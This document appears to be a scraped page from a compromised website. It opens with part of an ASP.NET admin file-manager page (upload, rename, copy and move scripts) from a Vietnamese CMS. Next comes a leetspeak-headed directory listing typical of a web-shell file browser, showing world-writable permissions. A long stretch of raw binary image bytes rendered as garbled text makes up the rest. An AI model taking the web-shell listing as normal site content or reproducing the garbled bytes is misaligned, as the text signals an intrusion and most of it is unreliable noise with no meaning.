				document.forms[0].elements['fileupload'].focus();
				return;
			}
			document.forms[0].action.value = 'upload';
			document.forms[0].submit();
		}
		
		// check or uncheck all file checkboxes
		function checkall(ctl) {
			for (var i = 0; i < document.forms[0].elements.length; i++) {
			    if (document.forms[0].elements[i].name.indexOf('<%=CheckboxTag%>') > -1) { 
			        document.forms[0].elements[i].checked = ctl.checked;
			        }
				}
		}
		
		// confirm file list and target folder
		function confirmfiles(sAction) {
			var nMarked = 0;
			var sTemp = '';
			for (var i = 0; i < document.forms[0].elements.length; i++) {
				if (document.forms[0].elements[i].checked && 
				 document.forms[0].elements[i].name.indexOf('<%=CheckboxTag%>') > -1) { 
					if (sAction == 'rename') {
						var sFilename = '';
            			var sNewFilename = '';
						sFilename = document.forms[0].elements[i].name;
						sFilename = sFilename.replace('<%=CheckboxTag%>','');
						sNewFilename = prompt('Enter new name for ' + sFilename, sFilename);
						if (sNewFilename != null) {
						    document.forms[0].elements[i].name = document.forms[0].elements[i].name + '<%=RenameTag%>' + sNewFilename;
						}
					}
					nMarked = nMarked + 1;
				}
			}
			if (nMarked == 0) {
				alert('No items selected. To select items, use the checkboxes on the left.');
				return;
			}
			sTemp = 'Are you sure that you want to ' + sAction + ' the ' + nMarked + ' checked item(s)?'
			if (sAction == 'copy' || sAction == 'move') {
				sTemp = 'Are you sure you want to ' + sAction + ' the ' + nMarked + ' checked item(s) to the "' + document.forms[0].elements['<%=TargetFolderTag%>'].value + '" folder?'
				if (document.forms[0].elements['<%=TargetFolderTag%>'].value == '') {
				    document.forms[0].elements['<%=TargetFolderTag%>'].focus();
					alert('No destination folder provided. Enter a folder name.');
					return;
				}
			}
			var confirmed = false;
			if (sAction == 'copy' || sAction == 'rename') {
			    confirmed = true;
			} else {
			    confirmed = confirm(sTemp);
			}

			if (confirmed) { 
				document.forms[0].action.value = sAction;
				document.forms[0].submit();
			}

		}
        </SCRIPT>
        <STYLE type="text/css">
            IMG { border: none; }
            BODY { FONT-FAMILY: Verdana, Arial, Helvetica; FONT-SIZE: 70%; margin: 4px 4px 4px 4px;}
            TD { FONT-FAMILY: Verdana, Arial, Helvetica; FONT-SIZE: 70%; }
            TH { FONT-FAMILY: Verdana, Arial, Helvetica; FONT-SIZE: 70%; background-color: #eeeeee;}
            .Header { background-color: lightyellow; }
            .Error { color=red; font-weight: bold; }
        </STYLE>
        <link rel="stylesheet" href="../../gdthemev/ThemeAdmin/css/styleadmin.css" />
        <link rel="stylesheet" href="../../gdthemev/ThemeAdmin/Default.css" />
    </HEAD>
    <BODY>
        <div id="wapper">
    	<div id="main">
        	<!-- BEGIN HEAD -->
        	<div id="Div1">
            	<div id="baner"><img alt="" src="../../gdthemev/ThemeAdmin/images/bane.gif" /></div>
                <div id="stylehead"><span class="DateTime">Thứ sáu, 16/7/2010, 00:56 GMT+7</span></div>
            </div>
            <!-- END HEAD -->
            
            <!-- BEGIN CONTENTS -->
            <div id="content">
            
            	<div id="left">
                    <uc1:controlleft ID="Controlleft1" runat="server" />
                    
            	    
                </div>
                <div id="components">
                    <div class="style_components">
                    	<span class="admincms"> Xin chào: 
                        <font color="#FF0000"><asp:Label ID="lblUserName" runat="server"></asp:Label></font> <asp:HyperLink ID="HyperLink1" runat="server" NavigateUrl="~/Admin/Logout.aspx">Logout</asp:HyperLink></span>
                    </div>
                 
                	<%HandleAction%>
                    <FORM action="<%=ScriptName%>" method=post encType=multipart/form-data>
                        <INPUT type=hidden name="<%=ActionTag%>">
                        <%WriteTable%>
                    </FORM>
                </div>
                
            <br clear="all" />    
            </div>
            <!-- END CONTENTS -->
            
            <div id="footer"></div><!-- END FOOTER -->
        </div><!-- END MAIN -->
    </div><!-- END WAPPER -->
        
    </BODY>
</HTML>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
February 19 2025 17:10:18
0 / 0
0777
images
--
February 17 2025 07:45:04
0 / 0
0777
default.aspx
41.173 KB
February 29 2024 08:23:57
0 / 0
0666
 $.' ",#(7),01444'9=82<.342 C  2!!22222222222222222222222222222222222222222222222222  }|"        } !1AQa "q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz& !0`""a        w !1AQ aq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz& !0`""a   ? HRjA <̒.9;r8 Sc*#k0a0 ZY 7/$ #'Ri'H/]< q_LW9c#5AG5#T8N38UJ1z]k{}ߩ)me&/lcBa8l S7(S `AI&L@3v, y cF0-Juh!{~?"=nqo~$ѻj]M >[?) ms~=*{7E5);6!,  0G K >a9$m$ds*+ Cc r{ ogf X~2v 8SВ~W5S*&atnݮ:%J{h[K }y~b6F8 9 1;ϡa{{u/[nJi- f=Ȯ8O!c H%N@<}qlu"a&xHm<*7"& #!|Ӧqfx"oN{F;`!q9vRqR?~8p)ܵRJ Q @Xy{*ORs~QaRqE65I 5+0y FKj}uwkϮj+z{kgx5(fnrFG8QjVVF)2 `vGLsVI,ݣa(`:L0e V+2h hs`iVS4SaۯsJ-밳Mw$Qd d }}Ʒ7"asA:rR.v@ jY%`5\ܲ2H׭*d_(ܻ#'X 0r1R>"2~9Ҳ}:XgVI?*!-N=3sϿ*{":4ahKG9G{M]+]˸ `mcϱy=y:)T&J>d$nz2 sn`ܫS;y }=px`M=i* ޲ 1}=qxj Qy`A,2ScR;wfT#`~ jaR59HVyA99?aQ vNq!C=:a#m#bY /(SRt Q~ Cɶ~ VB ~2ONOZrA Af^3\t_-ϦnJ[/|2#[!,O|sV/|IS$cFwt+zTayLPZ>#a ^r7d\u "3 83&DT S@rOW PSܣ[0};NRWk "VHl>Zܠnw :q׷el,44`;/I'pxaS";vixUuY1#:}T[{Kwi ma99 c#23ɫx-3iiW"~- yY"8|c-< S#30qmI"d cqf  #5PXW ty?ysvYUB(01 JǦ5%u'ewͮ{maܳ0!B0A~z{a{kc B ` ==}r Wh{xK% s9U@p7c}1WR^yY\ brp8'sֺk'K}"+l44?0I"ڳ.0d)@fPq׬F~ZY 3"BAF$SN  @(a lbW\vxNjZIF`6 ?! Nxҩҭ OxM{jqR 0 &yL%?y$"\p4:&u$aC$xo>TK@'y{~4KcC v}&y?]Ol|_; ϡRn r[mܡ}4D}:) $XxaY8i" !pJ"V^0 Rien% 8eeY,S =?E k"bi0ʶI=O:Sk>hKON9K2uPf*ny41l~}I~*E FSj%RP7U0Ul(D2z>a}X ƭ,~C<B6 2| HC#%:a7"Sa'ysK4!0R{szR5HC+=}ygn0c|SOA9kԮ}f"R#copIC~é :^eef # <3ֻxשƤ"ӽ94'_LOF90 &ܧܭS0R0#o8#R6y}73G^2~ox:##Sr=k41 r  zo 7"_=`0ld` qt+9?x%m,{.j;%h*:U}qfp}  g$*{XLI:"fB\BUzrRr#Ь +(Px:$SR~tk9ab! S#G'oUSGv4v} Sb{{)PҺ#Bܬ86GˏdTmV$gi&'r:1SSҠ" rP*I[N9_["#Kr.F*I?ts Thյ % =ଣa$|E"~GG O#,yϩ&~\\c1L2HQR :}9!`͐ɾF''yNp|=~D""vn2s~GL IUPUw-/mme] ? aZeki,q0c10PTpAg%zS߰2ĤU]`~I;px?_Z|^agD )~J0E]##o"NO09>"Sưpc`I}˯ JG~ +dcQj's&v6}ib %\r9gxuMg~x}0?*Wa^O*#  1wssRpTpU(u}`Ref  9bݿ 1FS999)e cs{'uOSܺ0fee6~yoƧ9"%f80(OOj&E T&%rKz?.;{aX!xeUd!x9t%wO_ocM- jHX_iK#*) ~@}{ ǽBd0Rn07 y@̢ 9?S ޫ>u'ʴu\"uW5֒HYtL B}GLZTg ܰ fb69\PP 緶;!3Ln]H8:@ S}>oޢ5%k:N ",xfpHbRL0 ~} e pF0'}=T0"!&zt9?F&yR`I #}J'76w`:q*2::ñޤ<  | 'F^q`gkqyxL; Rx?!Y7P}wn ·.KUٿGr4+ %EK/ uvzTp{{wEyvi 0X :}OS'aHKq*mF@\N:t^*sn }29T.\ @>7NFNRӷwEua'[c̐O`. Ps) gu5DUR;aF$`[CFZHUB M<9SRUFwv&#s$fLg8Q$q9Jez`R[' ?zﶥu3(MSs}0@9$&-ߦO"g`+n'k/ !$-1)ae2`g۰Z#r 9|ը}Iѭǻ1Bc.qR u`^սSmk}uzmSi<6{m}VUv3 SqRSԶ9{" bg@R Tqinl!1`+xq~:f ihjz&w"RI'9nSvmUۍ"I-_kK{ivimQ|o-~}j:`|ܨ qRR~yw@q%彶imoj0hF;8,:yuO'|;ڦR%:tF~ Ojߩa)ZVjkHf&#a'R\"Il`9dL9t"Ĭ7}:v /1`!n9!$ RqzRsF[In%f"R~ps9rzaRq6ۦ=0i+?HVRheIr:7f 8<+~[֬]poV%v pzg639{Rr81^{qo 92|ܬ}r=;zC*|+[zۣaS&쭬&C[ȼ3`RL9{j?KaWZVm6E}{X~? z~8ˢ 39~}~u-"cm9s kx]:[[yhw"BN v$ y9@" v[Ƽ* zSd~xvLTT"7j +tCP5:= /"ig#7ki' x9#}}ano!KDl('S?c_;`Ū3 9oW9g!Zk:p6[Uwxnq}qqFesS[;tj~]<:~!x,}V&"AP?&vIF8~SR̬`*:qxA-La-"i g|*px F:n~˯޼BRQC`5*]Q >:*D(cX( FL0`;5R|G#3`0+mѬn ޣ &0❬0 S&{t?ʯ(__`5XY[|Q `2:sO* <+:Mka&ij ƫ?Scun]I: 砯[&xn;6>}'`I0N}z5r\0s^Ml%M$F"jZek 2"Fq`~5+ҤQ G9 q=cᶡ/Ƥ[ iK """p;`tMt}+@dy3mՏzc0 yq~ 45[_]R{]UZp^[& Osz~I btΪ\yaU;Ct*IFF3`"c 1~YD&U \oRa !c[[G}P7 zn>3,=lUENR[_9 SJMyE}x,bpAdcRW9?[H$p"#^9O88zO=!Yy91 ڻM?M#C&nJp#~ G ekϵo_~xuΨQt۲:W6oyFQr $k9ڼs67\myFTK;[ld7ya` eY~q[&vMF}p3gW!8Vn:a/ ,i|R,`!W}1Ӿx~x XZG\vR~sӭ&{]Q~9ʡH~"5 -&U+g j~륢N=Jfd 9BfI nZ8wЮ~a=3x+/l`?"#8-S\pqTZXt%&#` ~{p{m>ycP0(R^} (y%m}kB1Ѯ,#Q)!o1T*}9y< b04H. 9`>}ga `~)\oBRaLSg$IZ~%8)Rcu9b%)S 4ֺ}Z/[H%v#x b t{gn=i%]ܧ! wSp V?5cb_`znxKJ=WT9qx"qzWUNN/O^xe|k{4V^~Gz|[31 rpjgn 0}k90ne+"VbrO]'0oxh`*!T$d/$~N>Wq&Z9O\1o&,-z ~^NCgN)ʩ70'_Eh u*K9.-v<h$W%~g-G~>ZIa+(aM #9l%c  xKGx|"O:8qcyNJyRTj&Omztj ?KaXLebt~A`GBA":g,h`q` e~+[YjWH?N>X<5ǩѼM8cܪX}^r?IrS"Zm:"57u&|" >[XHeS$Ryଠ:2|Df? ZPDC(x0|R;Ms Vi,͹:xi`,GAlVFY:=29n~@yW~eN ]_Go'}э_ЯR66!: gFM~q; eX<#%A0R } G&x&?ZƱkeR Knz`9j%@qR[-$u&9zOJKad"[jײc;&B(g<9nȯGxP.fF}P 31 R}<3a~ 2xV Dr \:}#S}HI\OKuI (GW 񳹸2:9%_3N|0}y lMZT [/9 n3 Mòdd^.}:BNp>czí Y%-*9ܭhRcd,. V`e n/=9xGQKx|b`D@2R 8'} }+D&"R}r22 Ƿs]x9%<({e:Hqǽ`}Ka9ı< ~ O#%iKKlF)'I+(`Sd` "c^ i\hBaq}:W|F BReax-sʬ:W<%$ %CD%Iʤ&Ra0}nxoW0ey'Ża2r# ۰A^9Q=5.(M$~V=SFNW H~kR9+~;khIm9aJ_Z"6 a>a<%2nbQ`\tU 9k15uCL$ݹp P1=Os^uEJx5zy:j:k OcnW;boz{~Vơaa5ksJ@?1{$=ks^nR)XN1OJxFh R"}?xSac*FSi;7~׫3 pw0<%~ P+^ Ye}CR/>>"m~&&>M[h [}"d&RO@3^(ʽ*QZy 1V}?O4Rh6R a3߷ =mR/90CI:c}s۾"xЬˢW$"{PG xZ1R0xE9+ ^rE`70l@.' }zN3U<3*? "c=p '1"kJ H'x+ oN9 d~c+jJz7(W]""?n괺6wN"Z`~:|??-E&®V$~X/& xL7pz^tY78Ue# #r=sU/EjRC4mxNݴ9 u:V ZIcr1xpzsfV9`qLI?\~ChOOmtעxZ}?S#b-X7 g~zzb3Sm*qvsM=w}&ڪ^׵(! ֵen QYSLSNk!/n00vRwSa9-V`[$`(9cq_@Bq`捭0;79?w<|k1 һlnrPNa&} ~-_O'0`!R%]%b1' X՝OR9+*"0O `uaӫ9ԥSy.ox x&(STݽ]Nr3~["veIGlq=M|gsxI6 ]ZΪ,zR}~#`F"iqcD>S G}1^+ i;Vi-Z]ܮ` b٥_/y(@qg W0.: 6 r>QR0+zb+I0TbN"$~)69{0V27SWWccXyKZc'iQLaW`xS\`źʸ&|V|!G[[ 3OrPY=15T~я 64/?Z~k}o፾}3]8濴n}a_6pS)2?WڥiWd}q{*1rXRd&m0cd"J# ,df8Nh;=7pn 6J~O2^S J:6ܷ0!wbO P=:-&} ` 9 r9ϧz> X75XkrѢL 7w}xNHR:2 +uN/'~h!nReQ6Q Ew|Yq1uyz8 `;6i<'[íZhu g>r`x}b2k꣧o~:hTW4|ki"xQ6Ln0 {e#27@^.1NSy e Q=̩B8<Scc> .Fr:~G=k,^!F~ ,}% "rGSYd?aY49PyU !~xm|/NܼPcT,/=Fk|u&{m]۾P>X޽i 0'6߼( !z^:S|,_&a]uѵ4jb~xƩ:,[ = R Y?}ڼ?x,1دv&@q Sz8Xz~"j=} ~h@'hF#p?xQ-lvpxcx&lxG·0L%y?-y`l7>q2A?"F}c!jB:J +Qv=Vu[Qml%R7aIT}x ? a7 1 -Ll}0O=up"3ҶW/!|w}w^qa M8Q?0IEhaX"`a ?!Q!R~q}~O`I0 Jy|!@99>8+u&! ʰ<6Iz S)Z_POw*nm=>Jh]&@nTR6IT ^Fx73!ַa$ 5Io:ȪmY[80*x"k+\ Ho}l"k, c{Z\ Q pz}3} JXOh٥LdR`6G^^[bYRʻd}4  2,; CQĴcmV{W\xx,MRl-n~ ?#}"SҥWN;~)"S9cLj뵿ūikiX7yny} t`V's$9:{wEk c$.~k}AprѢ!`lSs90IÝw&ef"pR9g}Tl} NkUK0Up ^ȥ{Hp`bqϩ^: }' Mz+5x('C$_I?^'z~+-}*?.x^1}My¸&L7&' bqG]˪1$oR8`.q}s־C98cvSfuַ _ۺxר:גxP-/mnQG`Rq=>nr!h`+;3<۩axx*Vtiwi |cRϮ3ֽ̰0 QroZѫO൯w8;k: x ;Ja;9R+g}|I{o2ʲ9 029L\0xb "Bv$&#i>=f N >NXW~5\0^(w2}X$ e888^n^ 9Q~7 DCѵs9W6!2\:?(#'$GJW\ 0E"g;Pv Nsx"}/:t+]JM*"^Ud|0M923"6H^&1oE.7*Htp{g<+cpby=8_skB\j""[9Pb9B& =93LaaXdP.0\0?"J" "S+=@9<AQ׻աxk",J$S}xZWH"UQ ]Xg< ߨg3-qe0*R$ܒ S8}_/e'+-Ӷ[sk%x0-peCr ϒ~=a(QWd\. \F0M>grq+SNHO  ܥݭnJ|P6Kc=Is} Ga)a=#vK:oKٍ&R[sټˏ" pwqSR 9!KS&vD A9 Rq} $SnIV[]}A |k|E Mu R.Idk}yvc iUSZ&zn*j-ɭ/SH\y5 ۠"0 xnz#ԯ, eŴ'c&<ݬ<S`kâna8=ʪ[x"pN02zK8.(v2@ ~xfuyUWa|:%Q^[|o5ZY"^{96Yv*x>_|UִtM9P## z/0-įdd,:p03S{9=+ ![!#="յjHh:[{?.u_%ccA }0x9>~9,ah2 Ary$VN ]=$} #1dMax!^!Kk FN8+{Ҽo[MRoe[_m/k.kg}xsSӴ`zKo0cPC9Y0#^9x˷`09;=aAkNBlcF 2Ҭ]K$ܮ"/H$ fO贵jN̿ xNFdhT9}A>qStһ\ȶc3@#I W.<ѬaA ; q2q $# ! !}9=;Ru+ϥe+$娯'+ZH4qFV9gR208)б>M|¾"i9Jd"O;sr+)DRaF*3d {zwQU~f ~>I+Rq`3Sf]STn4_*5azGC,+1òOcSb2y;cգh:`rNBk gxaX/hx*Tn = 2|(e$ x!'y+S=Y:i -BK":ơ&v-Y=Onjyf4T P`S7={m/ ZK&GbG AS*ÿ IoINU8Rw; 1Y "E Oyto/8~#ñl2f'h?CYd:qӷeĩ RL+~A3g=aRt3 QREw_;haSir ^i!|ROmJ/$lӿ [` >cF61 z7Ldxw9AXO"hm"NT I$pG~:bWS|n>Ϣܢ"%qL^ KpNA< &==ffF!yc $=ϭY]eDH>x_TP"a0ch['7a!?wn5u|c{O1"xsZ&y32  ~AcO45-fR. s~"Ҿ"wo\lxP Xc S5q/>#~Wif$\3 }<9H" ( : 8=+ꨬUAT]{msF0\}&BO}+:x1 ,v ~IZ0ǧ"3 20p9~)Zoq/L Rm}9[#\Bs [; g2SV/[u /a} =xHx." Qxh#a$'u<`:>2>+LSiwF1!eg`S }Vv $|,szΒxD\Rm o| :{Ӷn!0l, ( RR crsa,49MOH!@ }`9w;At0&.클5,u-cKӣ̺U.L0&%2"~x [`cnH}y"keRF{(ة `J#}wg<:;M ^\yhX!vBzrF?B/s<B)۱ w5:se{mѤh]Wm4W4bC3r$ pw`dzt!y`IhM)!edRm'>?wzKcRq6fp$)wUl`ARAgr:Rg[iYs5GK=FMG ``KɦuOQ!R/G`@qzd/(K%}bM x>RRVIY~#"@8 Sgq54v[(q c!FGa? UWZ$y}zק?>"6{""}.$`US& ' r$1(y7 V<~:  Mw'bxb7g~,iF8½k/{!2S/?:$eSRIRg9czrrNObi Ѻ/$,;R vxb" nmxn}3G,.٣u r`[<!@:c9Zh M5-q}G9 ;A-~v^ONxE}PO&e[]Gp /˷81~@B*8@p"8Q~H'8I-% F6U|ڸ ^w`K1K,}ddl0PkG&Uw};y[Zs"["6 Vq,# 8ryA::,c66˴'?t}H--":|Ƭ[  7#99$,+qS\ cy^ݸa"B-9%׮9Vw~vTꢷ%" [x"2gS?6 9#a@bTC*3BA9 =U"2l0iIc2@%94'HԾ@ Tpax::5eMw:_+a3yv " 1Gȫ#  p JvaDE: NFr2qxAau"#Ħ822/[Tr;q`z*(0 ;T:; Skޭ8U{^IZwkXZo_oȡ R2S SVa DRsx|2 [9zs{wnmCO+ GO8e`^G5f{X~,k0< y"vo I=S19)R#;Anc}:t#TkB.0R-Zgum}fJ+#2P~i%S3P*YA}2r:iRUQq0H9!={~ J}Vײm.ߺiYlkgLrT" &wH6`34e &L"%clyîA0 ~$[3u"pNO=  c{rYK ~F "a"Lr1ӯ2<"C".fջ~-g4{[r}xlqpwǻ8rF \c}-gycirw#o95afxfGusJ S/LtT7w,l ɳ;e෨RsgTS^ '~9:+kZd*[ܫ%Rk0}X$k#Ȩ P2bvx"b)m$*8LE8'N y+{uI'wva4fr=u sFlV$ Hс$ =}] :}+"mRlT#nki _T7θd\8=y}R{x]Z#r#H6 Fkr;s.&;s 9HSaխtU-n | vqS{gRtS.P9}0_[;mޭZRX{+"-7!G"9~nrYXp S!ӭoP̏t (0޹s#GLanJ!T#?p}xIn#y'q@r[J&qP}:7^0yWa_79oa #q0{mSyR{v޶eХ̮jR ":b+J y"]d OL9-Rc'SڲejP  qdВjPpa` <iWNsmvz5:Rs\u